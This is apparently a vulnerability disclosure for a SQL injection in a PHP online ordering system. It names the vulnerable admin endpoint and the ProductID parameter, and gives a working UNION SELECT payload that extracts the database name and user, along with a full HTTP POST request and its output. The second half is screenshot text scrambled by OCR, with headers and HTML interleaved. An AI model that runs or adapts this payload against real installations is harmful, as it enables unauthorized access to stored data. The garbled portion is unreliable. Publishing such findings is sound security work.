

Online Ordering System By janobe has SQL injection vulnerability

Author: k0xx

vendor: https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html

Vulnerability file: /ordering/admin/stockin/loaddata.php

Vulnerability location: /ordering/admin/stockin/loaddata.php&ProductID //ProductID is Injection point

[+]Payload: ProductID=-2' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13--+ //ProductID is Injection point

Current database name: multistoredb

```
POST /ordering/admin/stockin/loaddata.php HTTP/1.1

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate
```

```
DNT: 1
 Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 68
 ProductID=-2' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13--+
                                             <div class="row">
/ordering/admin/stockin/loaddata.php
                                                      <input type="hidden"
                                             name="ProductID" value="1">
HTTP/1.1
Host: 192.168.1.19
                                                      <div
User-Agent: Mozilla/5.0 (Windows NT
                                             class="column-label">Product</div>
10.0; WOW64; rv:46.0)
                                                      <div
                                             class="column-value">: 2</div>
Gecko/20100101 Firefox/46.0
Accept:
                                                      <div
                                             class="column-label">Description
text/html,application/xhtml+xml,appl
ication/xm1; q=0.9, */*; q=0.8
                                             div>
Accept-Language:
                                                      <div
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
                                             class="column-value">:
Accept-Encoding: gzip, deflate
                                             multistoredb</div>
DNT: 1
                                                      <div
                                             class="column-label">Category</div
Cookie:
PHPSESSID=Om2td1md252hlnr3nsbmc5ss99
Connection: close
                                                      <div
                                             class="column-value">: 12</div>
Content-Type:
application/x-www-form-urlencoded
Content-Length: 68
                                             class="column-label">Price</div>
                                                      <div
ProductID=-2' union select
                                             class="column-value">: 4</div>
1,2,database(),4,5,6,7,8,9,10,11,12,
                                                      <div
  Lo<u>a</u>d URL
          192.168.1.19/ordering/admin/stockin/loaddata.php
   Split URL
  Execute
          BASE64
                                                                 Insert string to replace Insert rep
Post data
          ProductID=-2' union select 1,2,user(),4,5,6,7,8,9,10,11,12,13--+
 Product
                     : 2
                                                                   Description
: multistoredb
                                                                   : 12
                                              Category
 Price
                     : 4
                                                                   Quantity
                             $
Save
```